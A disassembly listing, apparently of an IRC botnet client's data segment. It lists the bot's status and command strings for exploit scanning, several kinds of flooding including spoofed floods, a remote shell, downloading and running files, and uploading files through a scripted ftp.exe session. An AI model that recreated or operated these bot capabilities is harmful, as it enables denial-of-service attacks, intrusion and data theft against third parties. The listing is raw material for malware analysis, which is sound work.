65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aArpCacheFlushe db ' ARP cache flushed.',0 align 4 unk_428D88 db 2 ; DATA XREF: seg000:loc_41048Fo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToLoadDn db ' Failed to load dnsapi.dll.',0 align 4 unk_428DC8 db 2 ; DATA XREF: seg000:loc_410488o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToFlushD db ' Failed to flush DNS cache.',0 align 4 unk_428E08 db 2 ; DATA XREF: seg000:00410481o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDnsCacheFlushe db ' DNS cache flushed.',0 align 10h unk_428E40 db 2 ; DATA XREF: seg000:00410403o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aFailedToStar_9 db 'Failed to start server thread, error: <%d>.',0 unk_428E8C db 2 ; DATA XREF: seg000:00410291o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 74h ; t db 66h, 74h, 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aFailedToSta_10 db 'Failed to start server thread, error: <%d>.',0 unk_428ED8 db 2 ; DATA XREF: seg000:00410169o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 74h ; t db 66h, 74h, 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aAlreadyRunni_0 db 'Already running.',0 align 4 dword_428F0C dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh ; DATA XREF: seg000:loc_410153o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aFailedToSta_11 db ' Failed to start scan, port is invalid.',0 align 4 dword_428F58 dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh ; DATA XREF: seg000:00410094o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aSPortScanStart db ' %s Port Scan started on %s:%d with a delay of %d seconds for %d' db ' minutes using %d threads.',0 dword_428FD4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:0040FE54o dd 2029206Ch, 2BBBB02h aNickChangedToS db ' Nick changed to: ',27h,'%s',27h,'.',0 align 4 dword_42900C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:0040FE3Bo dd 2029206Ch, 2BBBB02h aJoinedChannelS db ' Joined channel: ',27h,'%s',27h,'.',0 dword_429040 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:0040FE1Bo dd 2029206Ch, 2BBBB02h aPartedChannelS db ' Parted channel: ',27h,'%s',27h,'.',0 dword_429074 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:0040FE02o dd 2029206Ch, 2BBBB02h, 52492020h, 61522043h, 25203A77h dd 2E73h dword_4290A0 dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h ; DATA XREF: seg000:loc_40FD84o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aFailedToKillTh db ' Failed to kill thread: %s.',0 align 10h dword_4290E0 dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h ; DATA XREF: seg000:0040FD7Do dd 1F641F6Dh, 2029206Ch, 2BBBB02h aKilledThreadS_ db ' Killed thread: %s.',0 align 4 dword_429118 dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h ; DATA XREF: seg000:loc_40FD37o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aNoActiveThread db ' No active threads found.',0 align 4 dword_429154 dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h ; DATA XREF: seg000:0040FD2Do dd 1F641F6Dh, 2029206Ch, 2BBBB02h aStoppedDThread db ' Stopped: %d thread(s).',0 align 10h aAll db 'all',0 ; DATA XREF: seg000:0040FD13o aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: seg000:0040FC88o ; seg000:loc_410A93o align 4 dword_4291A4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:0040FC12o dd 2029206Ch, 2BBBB02h aPrefixChangedT db ' Prefix changed to: ',27h,'%c',27h,'.',0 align 4 unk_4291DC db 2 ; DATA XREF: seg000:loc_40FBFDo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aCouldnTOpenF_0 db 'Couldn',27h,'t open file: %s',0 align 4 unk_429214 db 2 ; DATA XREF: seg000:0040FBF3o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aFileOpenedS db 'File opened: %s',0 dword_429244 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:0040FBCAo dd 2029206Ch, 2BBBB02h aServerChangedT db ' Server changed to: ',27h,'%s',27h,'.',0 align 4 dword_42927C dd 28026502h, 62302E31h, 20282029h, 2E736E64h, 1F641F6Dh ; DATA XREF: seg000:loc_40FBAEo dd 2029206Ch, 2BBBB02h aCouldnTResol_0 db ' Couldn',27h,'t resolve hostname.',0 align 4 dword_4292B8 dd 28026502h, 62302E31h, 20282029h, 2E736E64h, 1F641F6Dh ; DATA XREF: seg000:0040FB80o dd 2029206Ch, 2BBBB02h aLookupSS_ db ' Lookup: %s -> %s.',0 dword_4292E8 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h ; DATA XREF: seg000:loc_40FB4Co dd 1F641F6Dh, 2029206Ch, 2BBBB02h aFailedToTermin db ' Failed to terminate process: %s',0 align 4 dword_42932C dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h ; DATA XREF: seg000:0040FB42o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aProcessKilledS db ' Process killed: %s',0 align 4 dword_429364 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h ; DATA XREF: seg000:loc_40FAECo dd 1F641F6Dh, 2029206Ch, 2BBBB02h aFailedToTerm_0 db ' Failed to terminate process ID: %s',0 align 4 dword_4293AC dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h ; DATA XREF: seg000:0040FAE5o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aProcessKilledI db ' Process killed ID: %s',0 dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh dd 29206C1Fh, 0BBBB0220h, 44202002h, 74656C65h, 27206465h dd 2E277325h, 0 dword_429414 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: seg000:0040FA1Fo dd 2029206Ch, 2BBBB02h aSendFileSUserS db ' Send File: %s, User: %s.',0 align 4 dword_42944C dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh ; DATA XREF: seg000:0040F9ADo dd 29206C1Fh, 0BBBB0220h, 4C202002h, 3A747369h, 732520h unk_429474 db 2 ; DATA XREF: seg000:0040F992o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 76h ; v db 69h, 73h, 69h db 74h ; t db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aFailedToSta_12 db 'Failed to start connection thread, error: <%d>.',0 dword_4294C4 dd 28026502h, 62302E31h, 20282029h, 69736976h, 1F6D2E74h ; DATA XREF: seg000:0040F923o dd 206C1F64h, 0BB022029h, 202002BBh, 3A4C5255h, 2E732520h dd 0 dword_4294F0 dd 28026502h, 62302E31h, 20282029h, 6372696Dh, 641F6D2Eh ; DATA XREF: seg000:loc_40F8B4o dd 29206C1Fh, 0BBBB0220h, 43202002h, 616D6D6Fh, 7320646Eh dd 2E746E65h, 0 unk_429520 db 2 ; DATA XREF: seg000:0040F8AAo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 6Dh ; m db 69h, 72h, 63h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aClientNotOpen_ db ' Client not open.',0 dword_429550 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh ; DATA XREF: seg000:0040F879o dd 2029206Ch, 2BBBB02h, 6F432020h, 6E616D6Dh, 203A7364h dd 7325h dword_42957C dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh ; DATA XREF: seg000:0040F86Eo dd 2029206Ch, 2BBBB02h aErrorSendingTo db ' Error sending to remote shell.',0 align 4 dword_4295BC dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:0040F82Eo dd 2029206Ch, 2BBBB02h aReadFileFailed db ' Read file failed: %s',0 align 10h dword_4295F0 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:0040F81Ao dd 2029206Ch, 2BBBB02h aReadFileComple db ' Read file complete: %s',0 align 4 dword_429628 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:0040F795o dd 2029206Ch, 2BBBB02h, 65472020h, 736F6874h, 25203A74h dd 2E73h dword_429654 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:0040F75Ao dd 2029206Ch, 2BBBB02h aUnableToExtrac db ' Unable to extract Gethost command.',0 align 4 dword_429698 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:0040F73Eo dd 2029206Ch, 2BBBB02h aGethostSComman db ' Gethost: %s, Command: %s',0 align 10h dword_4296D0 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:0040F6BCo dd 2029206Ch, 2BBBB02h aAliasAddedS_ db ' Alias added: %s.',0 align 10h dword_429700 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:0040F681o dd 2029206Ch, 2BBBB02h aPrivmsgSS_ db ' Privmsg: %s: %s.',0 align 10h dword_429730 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:0040F62Bo dd 2029206Ch, 2BBBB02h aActionSS_ db ' Action: %s: %s.',0 align 10h dword_429760 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:0040F5C3o dd 2029206Ch, 2BBBB02h, 79432020h, 2E656C63h, 0 dword_429788 dd 54524150h, 0D732520h, 0Ah ; seg000:0040FE0Do dword_429794 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:0040F55Ao dd 2029206Ch, 2BBBB02h aModeChangeS db ' Mode change: %s',0 align 4 aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: seg000:0040F54Co align 10h dword_4297D0 dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h ; DATA XREF: seg000:0040F523o dd 206C1F64h, 0BB022029h, 202002BBh, 20776152h, 29732528h dd 7325203Ah, 0 dword_429800 dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h ; DATA XREF: seg000:0040F4B8o dd 206C1F64h, 0BB022029h, 202002BBh, 65646F4Dh, 73252820h dd 25203A29h, 73h dword_429830 dd 45444F4Dh, 732520hdword_429838 dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h ; DATA XREF: seg000:0040F42Eo dd 206C1F64h, 0BB022029h, 202002BBh, 6B63694Eh, 73252820h dd 25203A29h, 73h dword_429868 dd 4B43494Eh, 732520h ; seg000:0040FC54o dword_429870 dd 4E494F4Ah, 20732520h, 7325hdword_42987C dd 0A0D7325h, 0 ; seg000:0040F40Do ... dword_429884 dd 54524150h, 732520hdword_42988C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:loc_40F33Co dd 2029206Ch, 2BBBB02h aRepeatNotAllow db ' Repeat not allowed in command line: %s',0 align 4 dword_4298D4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:0040F305o dd 2029206Ch, 2BBBB02h, 65522020h, 74616570h, 7325203Ah dd 0 aRepeat db 'repeat',0 ; DATA XREF: seg000:0040F2B4o align 4 dword_429908 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:loc_40F26Co dd 2029206Ch, 2BBBB02h, 65442020h, 2E79616Ch, 0 dword_429930 dd 25207325h, 73252073h, 73253A20h, 0 ; seg000:0040F2DFo ... unk_429940 db 2 ; DATA XREF: seg000:loc_40F1DBo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 75h ; u db 70h, 64h, 61h db 74h ; t db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aBotIdMustBeDif db ' Bot ID must be different than current running process.',0 unk_429998 db 2 ; DATA XREF: seg000:0040F1D1o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 75h ; u db 70h, 64h, 61h db 74h ; t db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aFailedToStartD db ' Failed to start download thread, error: <%d>.',0 align 4 unk_4299E8 db 2 ; DATA XREF: seg000:0040F162o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 75h ; u db 70h, 64h, 61h db 74h ; t db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aDownloadingUpd db ' Downloading update from: %s.',0 align 4 aSS_exe db '%s%s.exe',0 ; DATA XREF: seg000:0040F0BCo align 4 unk_429A34 db 2 ; DATA XREF: seg000:0040F05Do db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 65h ; e db 78h, 65h, 63h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 db 2 dup(20h), 43h db 6Fh ; o db 2 dup(6Dh), 61h db 6Eh ; n db 64h, 73h, 3Ah db 20h db 25h, 73h, 0 db 2 db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 65h ; e db 78h, 65h, 63h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aCouldnTExecute db ' Couldn',27h,'t execute file.',0 align 4 unk_429A98 db 2 ; DATA XREF: seg000:0040EFBCo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_13 db ' Failed to start search thread, error: <%d>.',0 align 4 unk_429AE8 db 2 ; DATA XREF: seg000:0040EF42o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSearchingFor_0 db ' Searching for file: %s in: %s.',0 align 4 dword_429B2C dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh ; DATA XREF: seg000:loc_40EEA4o dd 29206C1Fh, 0BBBB0220h, 2002h unk_429B4C db 2 ; DATA XREF: seg000:0040EE8Fo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 69h, 6Ch, 65h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aRenameSToS_ db ' Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0 align 4 unk_429B84 db 2 ; DATA XREF: seg000:loc_40EE6Do db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 69h ; i db 63h, 6Dh, 70h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aInvalidFloodTi db ' Invalid flood time must be greater than 0.',0 align 10h unk_429BD0 db 2 ; DATA XREF: seg000:0040EE63o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 69h ; i db 63h, 6Dh, 70h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStartF db ' Failed to start flood thread, error: <%d>.',0 align 4 unk_429C1C db 2 ; DATA XREF: seg000:0040EDE9o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 69h ; i db 63h, 6Dh, 70h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFloodingSForSS db ' Flooding: (%s) for %s seconds.',0 align 4 unk_429C5C db 2 ; DATA XREF: seg000:0040ED72o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 63h ; c db 6Ch, 6Fh, 6Eh db 65h ; e db 73h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aFailedToSta_14 db ' Failed to start clone thread, error: <%d>.',0 unk_429CA8 db 2 ; DATA XREF: seg000:0040ED03o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 63h ; c db 6Ch, 6Fh, 6Eh db 65h ; e db 73h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aCreatedOnSDInC db ' Created on %s:%d, in channel %s.',0 align 4 unk_429CEC db 2 ; DATA XREF: seg000:0040EC7Bo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 64h, 6Fh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_15 db ' Failed to start flood thread, error: <%d>.',0 align 4 unk_429D38 db 2 ; DATA XREF: seg000:0040EC03o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 64h, 6Fh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFloodingSSForS db ' Flooding: (%s:%s) for %s seconds.',0 align 4 dword_429D7C dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh ; DATA XREF: seg000:0040EB6Eo dd 2029206Ch, 2BBBB02h aFailedToSta_16 db ' Failed to start flood thread, error: <%d>.',0 align 4 dword_429DC8 dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh ; DATA XREF: seg000:0040EAF4o dd 2029206Ch, 2BBBB02h aFloodingSSFo_0 db ' Flooding: (%s:%s) for %s seconds.',0 unk_429E08 db 2 ; DATA XREF: seg000:0040EA84o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStartT db ' Failed to start transfer thread, error: <%d>.',0 align 4 unk_429E5C db 2 ; DATA XREF: seg000:0040EA15o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDownloadingUrl db ' Downloading URL: %s to: %s.',0 align 4 unk_429E9C db 2 ; DATA XREF: seg000:0040E946o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_17 db ' Failed to start redirection thread, error: <%d>.',0 unk_429EF0 db 2 ; DATA XREF: seg000:0040E8D7o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aTcpRedirectCre db ' TCP redirect created from: %s:%d to: %s:%d.',0 align 10h unk_429F40 db 2 ; DATA XREF: seg000:0040E84Co db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_18 db ' Failed to start scan thread, error: <%d>.',0 align 10h unk_429F90 db 2 ; DATA XREF: seg000:0040E7DDo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aPortScanStarte db ' Port scan started: %s:%d with delay: %d(ms).',0 aSSS_0 db '[%s] <%s> %s',0 ; DATA XREF: seg000:0040E759o align 10h aSSS_1 db '[%s] * %s %s',0 ; DATA XREF: seg000:0040E65Co align 10h dword_42A000 dd 54434101h, 204E4F49h, 17325h ; seg000:0040F60Co dword_42A00C dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh ; DATA XREF: seg000:0040E56Fo ; seg000:00410105o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aFailedToSta_19 db ' Failed to start scan thread, error: <%d>.',0 dword_42A058 dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh ; DATA XREF: seg000:0040E500o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aSExploitationS db ' %s Exploitation started on %s:%d waiting %d seconds for %d minu' db 'tes using %d threads.',0 align 10h aSequential db 'Sequential',0 ; DATA XREF: seg000:0040E4D5o ; seg000:00410069o align 4 aRandom_0 db 'Random',0 ; DATA XREF: seg000:0040E4CEo ; seg000:00410062o align 4 dword_42A0E4 dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh ; DATA XREF: seg000:0040E390o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aFailedToSta_20 db ' Failed to start scan, no IP specified.',0 align 10h dword_42A130 dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh ; DATA XREF: seg000:0040E247o ; seg000:0040FEADo dd 1F641F6Dh, 2029206Ch, 2BBBB02h aAlreadyDScanni db ' Already %d scanning threads. Too many specified.',0 align 4 dword_42A184 dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh ; DATA XREF: seg000:0040E216o dd 2029206Ch, 2BBBB02h aFailedToSta_21 db ' Failed to start flood thread, error: <%d>.',0 align 10h dword_42A1D0 dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh ; DATA XREF: seg000:0040E1A7o dd 2029206Ch, 2BBBB02h aSendingDPacket db ' Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0 align 4 aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: seg000:0040E0E0o align 4 unk_42A244 db 2 ; DATA XREF: seg000:0040E0CBo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 69h, 6Eh, 67h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_22 db ' Failed to start flood thread, error: <%d>.',0 align 10h unk_42A290 db 2 ; DATA XREF: seg000:0040E060o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 69h, 6Eh, 67h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSendingDPingsT db ' Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0 align 4 dword_42A2EC dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh ; DATA XREF: seg000:loc_40DFC3o dd 2029206Ch, 2BBBB02h aInvalidFlood_0 db ' Invalid flood time must be greater than 0.',0 align 4 dword_42A338 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh ; DATA XREF: seg000:0040DFB9o dd 2029206Ch, 2BBBB02h aFailedToSta_23 db ' Failed to start flood thread, error: <%d>.',0 align 4 dword_42A384 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh ; DATA XREF: seg000:0040DF3Fo dd 2029206Ch, 2BBBB02h aSSFloodingSSFo db ' %s %s flooding: (%s:%s) for %s seconds.',0 align 4 aNormal db 'Normal',0 ; DATA XREF: seg000:0040DF2Fo align 4 aSpoofed db 'Spoofed',0 ; DATA XREF: seg000:0040DF28o dword_42A3DC dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh ; DATA XREF: seg000:0040DE93o dd 2029206Ch, 2BBBB02h aInvalidFloodTy db ' Invalid flood type specified.',0 dword_42A418 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh ; DATA XREF: seg000:loc_40DDABo dd 2029206Ch, 2BBBB02h aUploadingFileS db ' Uploading file: %s to: %s failed.',0 dword_42A458 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh ; DATA XREF: seg000:0040DDA4o dd 2029206Ch, 2BBBB02h aUploadingFil_0 db ' Uploading file: %s to: %s',0 aFtp_exe db 'ftp.exe',0 ; DATA XREF: seg000:0040DD8Do aSS_4 db '-s:%s',0 ; DATA XREF: seg000:0040DD76o align 10h aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: seg000:0040DD56o db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db 'put %s',0Dh,0Ah db 'bye',0Dh,0Ah,0 align 4 